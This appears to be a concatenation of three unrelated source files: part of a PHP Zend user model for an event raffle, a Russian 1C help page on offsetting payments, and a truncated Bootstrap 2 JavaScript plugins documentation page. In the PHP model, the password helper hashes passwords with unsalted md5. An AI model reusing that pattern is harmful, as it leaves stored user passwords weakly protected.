->joinInner(array('a' => 'atividade'), 'u.id = a.id_palestrante', array( 'nome_atividade' => 'nome', 'descricao', 'qt_horas' )) ->order( 'u.nome' ) ->where( 'a.situacao = 2' ); return $this->fetchAll($select); } public function sortParticipante() { $select = $this->select(); $select->from(array('p' => 'presenca'), array( 'id' => 'id', 'usuario_id' ) ) ->setIntegrityCheck(false) ->joinInner(array('u' => 'usuario'), 'u.id = p.usuario_id', array( 'nome' => 'nome', 'email', 'cpf', 'cidade' )) ->order( 'rand()' ) ->where( 'p.data_primeira_presenca is not null and data_segunda_presenca is not null and sorteado = 0' ) ->limit( '10' ); return $this->fetchAll($select); } public function sorteadosParticipante() { $select = $this->select(); $select->from(array('p' => 'presenca'), array( 'id' => 'id', 'usuario_id', 'premio' ) ) ->setIntegrityCheck(false) ->joinInner(array('u' => 'usuario'), 'u.id = p.usuario_id', array( 'nome' => 'nome', 'email' )) ->where( 'sorteado = 1' ); return $this->fetchAll($select); } public function getInfoUsuario($id) { $select = $this->select(); $select->from(array('u' => 'usuario')) ->setIntegrityCheck(false) ->where('u.id = ?', $id); return $this->fetchRow($select); } /** * Faz o logout do usuario * @return boolean */ public function logout() { Zend_Auth::getInstance()->clearIdentity(); } /** * Retorna a instância deste objeto */ public static function build() { return new self(); } /** * @param string|null $senha * @param int $length * @return string */ public function gerarSenha($senha = null, $length = 6) { if (null !== $senha) { return md5($senha); } /** * @todo gerar senha randomica */ } }
flisoldf/flisoldf-zend
application/models/Usuario.php
PHP
bsd-3-clause
5,448
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><meta content="text/html; charset=utf-8" http-equiv="Content-Type"></meta><link rel="stylesheet" type="text/css" href="v8help://service_book/service_style"></link><meta name="GENERATOR" content="MSHTML 9.00.8112.16448"></meta></head><body> <h1>Форма</h1> <p style="MARGIN-LEFT: 0px">Обработка предназначена для зачета и распределения оплат. </p> <p style="MARGIN-LEFT: 0px">При открытии, в форму помощника, в список, попадают документы оплаты по клиенту (партнеру) оформленные без указания расчетных документов (документы в списке отсортированы по дате). В список могут попасть следующие документы:</p> <ul style="MARGIN-LEFT: 20px"><li>Авансовый отчет; </li><li>Приходный кассовый ордер; </li><li>Расходный кассовый ордер; </li><li>Поступление безналичных ДС; </li><li>Списание безналичных ДС; </li><li>Возврат товаров поставщику; </li><li>Возврат товаров от клиента.</li></ul><p style="MARGIN-LEFT: 0px">В колонке "<b>Доступно к зачету</b>" содержатся суммы оплат доступные к зачету. В случае если зачет авансов уже выполнялся, то при открытии помощника в колонке "<b>Зачтено оплат</b>" будут содержаться суммы указанные и зачтенные ранее. В нижней части на форме помощника указывается общая сумма расчетного документа, общая сумма на которую зачтено оплат, разница между этими суммами, а так же валюта расчетов.<br></p> <p style="MARGIN-LEFT: 0px">В колонке "<b>Зачтено оплат</b>" необходимо указать сумму которую требуется зачесть по той или иной оплате. По команде "<b>Заполнить зачет оплаты</b>" помощник может автоматически заполнить колонку "<b>Зачтено оплат</b>" распределив сумму расчетного документа по всем платежам начиная с первого. По команде "<b>Зачесть оплату и закрыть</b>" данные о зачете оплат переносятся в документы оплаты и сохраняются там.<br><br></p> <p> </p></body></html>
stop-time/pm_ut11
src/DataProcessor/ПомощникЗачетаОплат/Form/Форма/Help/ru.html
HTML
bsd-3-clause
2,918
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Bootstrap, from Twitter</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content=""> <!-- Le HTML5 shim, for IE6-8 support of HTML elements --> <!--[if lt IE 9]> <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script> <![endif]--> <!-- Le styles --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/bootstrap-responsive.css" rel="stylesheet"> <link href="assets/css/docs.css" rel="stylesheet"> <link href="assets/js/google-code-prettify/prettify.css" rel="stylesheet"> <!-- Le fav and touch icons --> <link rel="shortcut icon" href="assets/ico/favicon.ico"> <link rel="apple-touch-icon" href="assets/ico/apple-touch-icon.png"> <link rel="apple-touch-icon" sizes="72x72" href="assets/ico/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="assets/ico/apple-touch-icon-114x114.png"> </head> <body data-spy="scroll" data-target=".subnav" data-offset="50"> <!-- Navbar ================================================== --> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"> <div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </a> <a class="brand" href="./index.html">Bootstrap</a> <div class="nav-collapse"> <ul class="nav"> <li class=""> <a href="./index.html">Overview</a> </li> <li class=""> <a href="./scaffolding.html">Scaffolding</a> </li> <li class=""> <a href="./base-css.html">Base CSS</a> </li> <li class=""> <a href="./components.html">Components</a> </li> <li class="active"> <a href="./javascript.html">Javascript plugins</a> </li> <li class=""> <a href="./less.html">Using LESS</a> </li> <li class="divider-vertical"></li> <li class=""> <a href="./download.html">Customize</a> </li> <li class=""> <a href="./examples.html">Examples</a> </li> </ul> </div> </div> </div> </div> <div class="container"> <!-- Masthead ================================================== --> <header class="jumbotron subhead" id="overview"> <h1>Javascript for Bootstrap</h1> <p class="lead">Bring Bootstrap's components to life&mdash;now with 12 custom <a href="http://jquery.com/" target="_blank">jQuery</a> plugins. <div class="subnav"> <ul class="nav nav-pills"> <li><a href="#javascript">All plugins</a></li> <li><a href="#modals">Modal</a></li> <li><a href="#dropdowns">Dropdown</a></li> <li><a href="#scrollspy">Scrollspy</a></li> <li><a href="#tabs">Tab</a></li> <li><a href="#tooltips">Tooltip</a></li> <li><a href="#popovers">Popover</a></li> <li><a href="#alerts">Alert</a></li> <li><a href="#buttons">Button</a></li> <li><a href="#collapse">Collapse</a></li> <li><a href="#carousel">Carousel</a></li> <li><a href="#typeahead">Typeahead</a></li> </ul> </div> </header> <!-- Using Javascript w/ Bootstrap ================================================== --> <section id="javascript"> <div class="page-header"> <h1>jQuery plugins <small>A dozen Bootstrap plugins to get you started</small></h1> </div> <div class="row"> <div class="span3"> <label> <h3><a href="./javascript.html#modals">Modals</a></h3> <p>A streamlined, but flexible, take on the traditional javascript modal plugin with only the minimum required functionality and smart defaults.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#dropdowns">Dropdowns</a></h3> <p>Add dropdown menus to nearly anything in Bootstrap with this simple plugin. Bootstrap features full dropdown menu support on in the navbar, tabs, and pills.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#scrollspy">Scrollspy</a></h3> <p>Use scrollspy to automatically update the links in your navbar to show the current active link based on scroll position.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#tabs">Togglable tabs</a></h3> <p>Use this plugin to make tabs and pills more useful by allowing them to toggle through tabbable panes of local content.</p> </label> </div> </div> <!-- /row --> <div class="row"> <div class="span3"> <label> <h3><a href="./javascript.html#tooltips">Tooltips</a></h3> <p>A new take on the jQuery Tipsy plugin, Tooltips don't rely on images, uss CSS3 for animations, and data-attributes for local title storage.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#popovers">Popovers</a> <small class="muted">*</small></h3> <p>Add small overlays of content, like those on the iPad, to any element for housing secondary information.</p> <p class="muted"><strong>*</strong> Requires <a href="#tooltips">Tooltips</a> to be included</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#alerts">Alert messages</a></h3> <p>The alert plugin is a tiny class for adding close functionality to alerts.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#buttons">Buttons</a></h3> <p>Do more with buttons. Control button states or create groups of buttons for more components like toolbars.</p> </label> </div> </div> <!-- /row --> <div class="row" style="margin-bottom: 9px;"> <div class="span3"> <label> <h3><a href="./javascript.html#collapse">Collapse</a></h3> <p>Get base styles and flexible support for collapsible components like accordions and navigation.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#carousel">Carousel</a></h3> <p>Create a merry-go-round of any content you wish to provide an interactive slideshow of content.</p> </label> </div> <div class="span3"> <label> <h3><a href="./javascript.html#typeahead">Typeahead</a></h3> <p>A basic, easily extended plugin for quickly creating elegant typeaheads with any form text input.</p> </label> </div> <div class="span3"> <label> <h3>Transitions <small class="muted">*</small></h3> <p>For simple transition effects, include bootstrap-transition.js once to slide in modals or fade out alerts.</p> <p class="muted"><strong>*</strong> Required for animation in plugins</p> </label> </div> </div> <!-- /row --> <div class="alert alert-info"><strong>Heads up!</strong> All javascript plugins require the latest version of jQuery.</div> </section> <!-- Modal ================================================== --> <section id="modals"> <div class="page-header"> <h1>Modals <small>bootstrap-modal.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About modals</h3> <p>A streamlined, but flexible, take on the traditional javascript modal plugin with only the minimum required functionality and smart defaults.</p> <a href="../js/bootstrap-modal.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Static example</h2> <p>Below is a statically rendered modal.</p> <div class="well modal-example" style="background-color: #888; border: none;"> <div class="modal" style="position: relative; top: auto; left: auto; margin: 0 auto; z-index: 1"> <div class="modal-header"> <a href="#" class="close" data-dismiss="modal">&times;</a> <h3>Modal header</h3> </div> <div class="modal-body"> <p>One fine body…</p> </div> <div class="modal-footer"> <a href="#" class="btn btn-primary">Save changes</a> <a href="#" class="btn">Close</a> </div> </div> </div> <!-- /well --> <h2>Live demo</h2> <p>Toggle a modal via javascript by clicking the button below. It will slide down and fade in from the top of the page.</p> <!-- sample modal content --> <div id="myModal" class="modal hide fade"> <div class="modal-header"> <a class="close" data-dismiss="modal" >&times;</a> <h3>Modal Heading</h3> </div> <div class="modal-body"> <h4>Text in a modal</h4> <p>Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem.</p> <h4>Popover in a modal</h4> <p>This <a href="#" class="btn popover-test" title="A Title" data-content="And here's some amazing content. It's very engaging. right?">button</a> should trigger a popover on hover.</p> <h4>Tooltips in a modal</h4> <p><a href="#" class="tooltip-test" title="Tooltip">This link</a> and <a href="#" class="tooltip-test" title="Tooltip">that link</a> should have tooltips on hover.</p> </div> <div class="modal-footer"> <a href="#" class="btn btn-primary">Save changes</a> <a href="#" class="btn" data-dismiss="modal" >Close</a> </div> </div> <a data-toggle="modal" href="#myModal" class="btn btn-primary btn-large">Launch demo modal</a> <hr> <h2>Using bootstrap-modal</h2> <p>Call the modal via javascript:</p> <pre class="prettyprint linenums">$('#myModal').modal(options)</pre> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 50px;">type</th> <th style="width: 50px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>backdrop</td> <td>boolean</td> <td>true</td> <td>Includes a modal-backdrop element</td> </tr> <tr> <td>keyboard</td> <td>boolean</td> <td>true</td> <td>Closes the modal when escape key is pressed</td> </tr> </tbody> </table> <h3>Markup</h3> <p>You can activate modals on your page easily without having to write a single line of javascript. Just set <code>data-toggle="modal"</code> on a controller element with a <code>data-target="#foo"</code> or <code>href="#foo"</code> which corresponds to a modal element id, and when clicked, it will launch your modal.</p> <p>Also, to add options to your modal instance, just include them as additional data attributes on either the control element or the modal markup itself.</p> <pre class="prettyprint linenums"> &lt;a class="btn" data-toggle="modal" href="#myModal" &gt;Launch Modal&lt;/a&gt; </pre> <pre class="prettyprint linenums"> &lt;div class="modal"&gt; &lt;div class="modal-header"&gt; &lt;a class="close" data-dismiss="modal"&gt;&times;&lt;/a&gt; &lt;h3&gt;Modal header&lt;/h3&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;p&gt;One fine body…&lt;/p&gt; &lt;/div&gt; &lt;div class="modal-footer"&gt; &lt;a href="#" class="btn btn-primary"&gt;Save changes&lt;/a&gt; &lt;a href="#" class="btn"&gt;Close&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; </pre> <div class="alert alert-info"> <strong>Heads up!</strong> If you want your modal to animate in and out, just add a <code>.fade</code> class to the <code>.modal</code> element (refer to the demo to see this in action) and include bootstrap-transition.js. </div> <h3>Methods</h3> <h4>.modal(options)</h4> <p>Activates your content as a modal. Accepts an optional options <code>object</code>.</p> <pre class="prettyprint linenums"> $('#myModal').modal({ keyboard: false })</pre> <h4>.modal('toggle')</h4> <p>Manually toggles a modal.</p> <pre class="prettyprint linenums">$('#myModal').modal('toggle')</pre> <h4>.modal('show')</h4> <p>Manually opens a modal.</p> <pre class="prettyprint linenums">$('#myModal').modal('show')</pre> <h4>.modal('hide')</h4> <p>Manually hides a modal.</p> <pre class="prettyprint linenums">$('#myModal').modal('hide')</pre> <h3>Events</h3> <p>Bootstrap's modal class exposes a few events for hooking into modal functionality.</p> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 150px;">Event</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>show</td> <td>This event fires immediately when the <code>show</code> instance method is called.</td> </tr> <tr> <td>shown</td> <td>This event is fired when the modal has been made visible to the user (will wait for css transitions to complete).</td> </tr> <tr> <td>hide</td> <td>This event is fired immediately when the <code>hide</code> instance method has been called.</td> </tr> <tr> <td>hidden</td> <td>This event is fired when the modal has finished being hidden from the user (will wait for css transitions to complete).</td> </tr> </tbody> </table> <pre class="prettyprint linenums"> $('#myModal').on('hidden', function () { // do something… })</pre> </div> </div> </section> <!-- Dropdown ================================================== --> <section id="dropdowns"> <div class="page-header"> <h1>Dropdowns <small>bootstrap-dropdown.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About dropdowns</h3> <p>Add dropdown menus to nearly anything in Bootstrap with this simple plugin. Bootstrap features full dropdown menu support on in the navbar, tabs, and pills.</p> <a href="../js/bootstrap-dropdown.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Examples</h2> <p>Click on the dropdown nav links in the navbar and pills below to test dropdowns.</p> <div id="navbar-example" class="navbar navbar-static"> <div class="navbar-inner"> <div class="container" style="width: auto;"> <a class="brand" href="#">Project Name</a> <ul class="nav"> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="#">Action</a></li> <li><a href="#">Another action</a></li> <li><a href="#">Something else here</a></li> <li class="divider"></li> <li><a href="#">Separated link</a></li> </ul> </li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown 2 <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="#">Action</a></li> <li><a href="#">Another action</a></li> <li><a href="#">Something else here</a></li> <li class="divider"></li> <li><a href="#">Separated link</a></li> </ul> </li> </ul> <ul class="nav pull-right"> <li id="fat-menu" class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown 3 <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="#">Action</a></li> <li><a href="#">Another action</a></li> <li><a href="#">Something else here</a></li> <li class="divider"></li> <li><a href="#">Separated link</a></li> </ul> </li> </ul> </div> </div> </div> <!-- /navbar-example --> <ul class="nav nav-pills"> <li class="active"><a href="#">Regular link</a></li> <li class="dropdown"> <a class="dropdown-toggle" data-toggle="dropdown" href="#">Dropdown <b class="caret"></b></a> <ul id="menu1" class="dropdown-menu"> <li><a href="#">Action</a></li> <li><a href="#">Another action</a></li> <li><a href="#">Something else here</a></li> <li class="divider"></li> <li><a href="#">Separated link</a></li> </ul> </li> <li class="dropdown"> <a class="dropdown-toggle" data-toggle="dropdown" href="#">Dropdown 2 <b class="caret"></b></a> <ul id="menu2" class="dropdown-menu"> <li><a href="#">Action</a></li> <li><a href="#">Another action</a></li> <li><a href="#">Something else here</a></li> <li class="divider"></li> <li><a href="#">Separated link</a></li> </ul> </li> <li class="dropdown"> <a class="dropdown-toggle" data-toggle="dropdown" href="#">Dropdown 3 <b class="caret"></b></a> <ul id="menu3" class="dropdown-menu"> <li><a href="#">Action</a></li> <li><a href="#">Another action</a></li> <li><a href="#">Something else here</a></li> <li class="divider"></li> <li><a href="#">Separated link</a></li> </ul> </li> </ul> <!-- /tabs --> <hr> <h2>Using bootstrap-dropdown.js</h2> <p>Call the dropdowns via javascript:</p> <pre class="prettyprint linenums">$('.dropdown-toggle').dropdown()</pre> <h3>Markup</h3> <p>To quickly add dropdown functionality to any element just add <code>data-toggle="dropdown"</code> and any valid bootstrap dropdown will automatically be activated.</p> <div class="alert alert-info"> <strong>Heads up!</strong> You may optionally target a specific dropdown by using <code>data-target="#fat"</code> or <code>href="#fat"</code>. </div> <pre class="prettyprint linenums"> &lt;ul class="nav pills"&gt; &lt;li class="active"&gt;&lt;a href="#"&gt;Regular link&lt;/a&gt;&lt;/li&gt; &lt;li class="dropdown" id="menu1"&gt; &lt;a class="dropdown-toggle" data-toggle="dropdown" href="#menu1"&gt; Dropdown &lt;b class="caret"&gt;&lt;/b&gt; &lt;/a&gt; &lt;ul class="dropdown-menu"&gt; &lt;li&gt;&lt;a href="#"&gt;Action&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Another action&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Something else here&lt;/a&gt;&lt;/li&gt; &lt;li class="divider"&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Separated link&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; ... &lt;/ul&gt;</pre> <h3>Methods</h3> <h4>$().dropdown()</h4> <p>A programatic api for activating menus for a given navbar or tabbed navigation.</p> </div> </div> </section> <!-- ScrollSpy ================================================== --> <section id="scrollspy"> <div class="page-header"> <h1>ScrollSpy <small>bootstrap-scrollspy.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <p>The ScrollSpy plugin is for automatically updating nav targets based on scroll position.</p> <a href="../js/bootstrap-scrollspy.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example navbar with scrollspy</h2> <p>Scroll the area below and watch the navigation update. The dropdown sub items will be highlighted as well. Try it!</p> <div id="navbarExample" class="navbar navbar-static"> <div class="navbar-inner"> <div class="container" style="width: auto;"> <a class="brand" href="#">Project Name</a> <ul class="nav"> <li><a href="#fat">@fat</a></li> <li><a href="#mdo">@mdo</a></li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="#one">one</a></li> <li><a href="#two">two</a></li> <li class="divider"></li> <li><a href="#three">three</a></li> </ul> </li> </ul> </div> </div> </div> <div data-spy="scroll" data-target="#navbarExample" data-offset="0" class="scrollspy-example"> <h4 id="fat">@fat</h4> <p> Ad leggings keytar, brunch id art party dolor labore. Pitchfork yr enim lo-fi before they sold out qui. Tumblr farm-to-table bicycle rights whatever. Anim keffiyeh carles cardigan. Velit seitan mcsweeney's photo booth 3 wolf moon irure. Cosby sweater lomo jean shorts, williamsburg hoodie minim qui you probably haven't heard of them et cardigan trust fund culpa biodiesel wes anderson aesthetic. Nihil tattooed accusamus, cred irony biodiesel keffiyeh artisan ullamco consequat. </p> <h4 id="mdo">@mdo</h4> <p> Veniam marfa mustache skateboard, adipisicing fugiat velit pitchfork beard. Freegan beard aliqua cupidatat mcsweeney's vero. Cupidatat four loko nisi, ea helvetica nulla carles. Tattooed cosby sweater food truck, mcsweeney's quis non freegan vinyl. Lo-fi wes anderson +1 sartorial. Carles non aesthetic exercitation quis gentrify. Brooklyn adipisicing craft beer vice keytar deserunt. </p> <h4 id="one">one</h4> <p> Occaecat commodo aliqua delectus. Fap craft beer deserunt skateboard ea. Lomo bicycle rights adipisicing banh mi, velit ea sunt next level locavore single-origin coffee in magna veniam. High life id vinyl, echo park consequat quis aliquip banh mi pitchfork. Vero VHS est adipisicing. Consectetur nisi DIY minim messenger bag. Cred ex in, sustainable delectus consectetur fanny pack iphone. </p> <h4 id="two">two</h4> <p> In incididunt echo park, officia deserunt mcsweeney's proident master cleanse thundercats sapiente veniam. Excepteur VHS elit, proident shoreditch +1 biodiesel laborum craft beer. Single-origin coffee wayfarers irure four loko, cupidatat terry richardson master cleanse. Assumenda you probably haven't heard of them art party fanny pack, tattooed nulla cardigan tempor ad. Proident wolf nesciunt sartorial keffiyeh eu banh mi sustainable. Elit wolf voluptate, lo-fi ea portland before they sold out four loko. Locavore enim nostrud mlkshk brooklyn nesciunt. </p> <h4 id="three">three</h4> <p> Ad leggings keytar, brunch id art party dolor labore. Pitchfork yr enim lo-fi before they sold out qui. Tumblr farm-to-table bicycle rights whatever. Anim keffiyeh carles cardigan. Velit seitan mcsweeney's photo booth 3 wolf moon irure. Cosby sweater lomo jean shorts, williamsburg hoodie minim qui you probably haven't heard of them et cardigan trust fund culpa biodiesel wes anderson aesthetic. Nihil tattooed accusamus, cred irony biodiesel keffiyeh artisan ullamco consequat. </p> <p>Keytar twee blog, culpa messenger bag marfa whatever delectus food truck. Sapiente synth id assumenda. Locavore sed helvetica cliche irony, thundercats you probably haven't heard of them consequat hoodie gluten-free lo-fi fap aliquip. Labore elit placeat before they sold out, terry richardson proident brunch nesciunt quis cosby sweater pariatur keffiyeh ut helvetica artisan. Cardigan craft beer seitan readymade velit. VHS chambray laboris tempor veniam. Anim mollit minim commodo ullamco thundercats. </p> </div> <hr> <h2>Using bootstrap-scrollspy.js</h2> <p>Call the scrollspy via javascript:</p> <pre class="prettyprint linenums">$('#navbar').scrollspy()</pre> <h3>Markup</h3> <p>To easily add scrollspy behavior to your topbar navigation, just add <code>data-spy="scroll"</code> to the element you want to spy on (most typically this would be the body).</p> <pre class="prettyprint linenums">&lt;body data-spy="scroll" &gt;...&lt;/body&gt;</pre> <div class="alert alert-info"> <strong>Heads up!</strong> Navbar links must have resolvable id targets. For example, a <code>&lt;a href="#home"&gt;home&lt;/a&gt;</code> must correspond to something in the dom like <code>&lt;div id="home"&gt;&lt;/div&gt;</code>. </div> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 100px;">type</th> <th style="width: 50px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>offset</td> <td>number</td> <td>10</td> <td>Pixels to offset from top when calculating position of scroll.</td> </tr> </tbody> </table> </div> </div> </section> <!-- Tabs ================================================== --> <section id="tabs"> <div class="page-header"> <h1>Togglable tabs <small>bootstrap-tab.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <p>This plugin adds quick, dynamic tab and pill functionality for transitioning through local content.</p> <a href="../js/bootstrap-tab.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example tabs</h2> <p>Click the tabs below to toggle between hidden panes, even via dropdown menus.</p> <ul id="tab" class="nav nav-tabs"> <li class="active"><a href="#home" data-toggle="tab">Home</a></li> <li><a href="#profile" data-toggle="tab">Profile</a></li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Dropdown <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="#dropdown1" data-toggle="tab">@fat</a></li> <li><a href="#dropdown2" data-toggle="tab">@mdo</a></li> </ul> </li> </ul> <div id="myTabContent" class="tab-content"> <div class="tab-pane fade in active" id="home"> <p>Raw denim you probably haven't heard of them jean shorts Austin. Nesciunt tofu stumptown aliqua, retro synth master cleanse. Mustache cliche tempor, williamsburg carles vegan helvetica. Reprehenderit butcher retro keffiyeh dreamcatcher synth. Cosby sweater eu banh mi, qui irure terry richardson ex squid. Aliquip placeat salvia cillum iphone. Seitan aliquip quis cardigan american apparel, butcher voluptate nisi qui.</p> </div> <div class="tab-pane fade" id="profile"> <p>Food truck fixie locavore, accusamus mcsweeney's marfa nulla single-origin coffee squid. Exercitation +1 labore velit, blog sartorial PBR leggings next level wes anderson artisan four loko farm-to-table craft beer twee. Qui photo booth letterpress, commodo enim craft beer mlkshk aliquip jean shorts ullamco ad vinyl cillum PBR. Homo nostrud organic, assumenda labore aesthetic magna delectus mollit. Keytar helvetica VHS salvia yr, vero magna velit sapiente labore stumptown. Vegan fanny pack odio cillum wes anderson 8-bit, sustainable jean shorts beard ut DIY ethical culpa terry richardson biodiesel. Art party scenester stumptown, tumblr butcher vero sint qui sapiente accusamus tattooed echo park.</p> </div> <div class="tab-pane fade" id="dropdown1"> <p>Etsy mixtape wayfarers, ethical wes anderson tofu before they sold out mcsweeney's organic lomo retro fanny pack lo-fi farm-to-table readymade. Messenger bag gentrify pitchfork tattooed craft beer, iphone skateboard locavore carles etsy salvia banksy hoodie helvetica. DIY synth PBR banksy irony. Leggings gentrify squid 8-bit cred pitchfork. Williamsburg banh mi whatever gluten-free, carles pitchfork biodiesel fixie etsy retro mlkshk vice blog. Scenester cred you probably haven't heard of them, vinyl craft beer blog stumptown. Pitchfork sustainable tofu synth chambray yr.</p> </div> <div class="tab-pane fade" id="dropdown2"> <p>Trust fund seitan letterpress, keytar raw denim keffiyeh etsy art party before they sold out master cleanse gluten-free squid scenester freegan cosby sweater. Fanny pack portland seitan DIY, art party locavore wolf cliche high life echo park Austin. Cred vinyl keffiyeh DIY salvia PBR, banh mi before they sold out farm-to-table VHS viral locavore cosby sweater. Lomo wolf viral, mustache readymade thundercats keffiyeh craft beer marfa ethical. Wolf salvia freegan, sartorial keffiyeh echo park vegan.</p> </div> </div> <hr> <h2>Using bootstrap-tab.js</h2> <p>Enable tabbable tabs via javascript:</p> <pre class="prettyprint linenums">$('#myTab').tab('show')</pre> <h3>Markup</h3> <p>You can activate a tab or pill navigation without writing any javascript by simply specifying <code>data-toggle="tab"</code> or <code>data-toggle="pill"</code> on an element.</p> <pre class="prettyprint linenums"> &lt;ul class="tabs"&gt; &lt;li&gt;&lt;a href="#home" data-toggle="tab"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#profile" data-toggle="tab"&gt;Profile&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#messages" data-toggle="tab"&gt;Messages&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#ettings" data-toggle="tab"&gt;Settings&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</pre> <h3>Methods</h3> <h4>$().tab</h4> <p> Activates a tab element and content container. Tab should have either a `data-target` or an `href` targeting a container node in the dom. </p> <pre class="prettyprint linenums"> &lt;ul class="tabs"&gt; &lt;li class="active"&gt;&lt;a href="#home"&gt;Home&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#profile"&gt;Profile&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#messages"&gt;Messages&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#settings"&gt;Settings&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;div class="tab-content"&gt; &lt;div class="tab-pane active" id="home"&gt;...&lt;/div&gt; &lt;div class="tab-pane" id="profile"&gt;...&lt;/div&gt; &lt;div class="tab-pane" id="messages"&gt;...&lt;/div&gt; &lt;div class="tab-pane" id="settings"&gt;...&lt;/div&gt; &lt;/div&gt; &lt;script&gt; $(function () { $('.tabs a:last').tab('show') }) &lt;/script&gt;</pre> <h3>Events</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 150px;">Event</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>show</td> <td>This event fires on tab show, but before the new tab has been shown. Use <code>event.target</code> and <code>event.relatedTarget</code> to target the active tab and the previous active tab (if available) respectively.</td> </tr> <tr> <td>shown</td> <td>This event fires on tab show after a tab has been shown. Use <code>event.target</code> and <code>event.relatedTarget</code> to target the active tab and the previous active tab (if available) respectively.</td> </tr> </tbody> </table> <pre class="prettyprint linenums"> $('a[data-toggle="tab"]').on('shown', function (e) { e.target // activated tab e.relatedTarget // previous tab })</pre> </div> </div> </section> <!-- Tooltips ================================================== --> <section id="tooltips"> <div class="page-header"> <h1>Tooltips <small>bootstrap-tooltip.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About Tooltips</h3> <p>Inspired by the excellent jQuery.tipsy plugin written by Jason Frame; Tooltips are an updated version, which don't rely on images, uss css3 for animations, and data-attributes for local title storage.</p> <a href="../js/bootstrap-tooltip.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example use of Tooltips</h2> <p>Hover over the links below to see tooltips:</p> <div class="tooltip-demo well"> <p class="muted" style="margin-bottom: 0;">Tight pants next level keffiyeh <a href="#" rel='tooltip' title="first tooltip">you probably</a> haven't heard of them. Photo booth beard raw denim letterpress vegan messenger bag stumptown. Farm-to-table seitan, mcsweeney's fixie sustainable quinoa 8-bit american apparel <a href="#" rel='tooltip' title='Another tooltip'>have a</a> terry richardson vinyl chambray. Beard stumptown, cardigans banh mi lomo thundercats. Tofu biodiesel williamsburg marfa, four loko mcsweeney's cleanse vegan chambray. A <a href="#" rel='tooltip' title='Another one here too'>really ironic</a> artisan whatever keytar, scenester farm-to-table banksy Austin <a href="#" rel='tooltip' title='The last tip!'>twitter handle</a> freegan cred raw denim single-origin coffee viral. </p> </div> <hr> <h2>Using bootstrap-tooltip.js</h2> <p>Trigger the tooltip via javascript:</p> <pre class="prettyprint linenums">$('#example').tooltip(options)</pre> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 100px;">type</th> <th style="width: 50px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>animation</td> <td>boolean</td> <td>true</td> <td>apply a css fade transition to the tooltip</td> </tr> <tr> <td>placement</td> <td>string</td> <td>'top'</td> <td>how to position the tooltip - top | bottom | left | right</td> </tr> <tr> <td>selector</td> <td>string</td> <td>false</td> <td>If a selector is provided, tooltip objects will be delegated to the specified targets.</td> </tr> <tr> <td>title</td> <td>string | function</td> 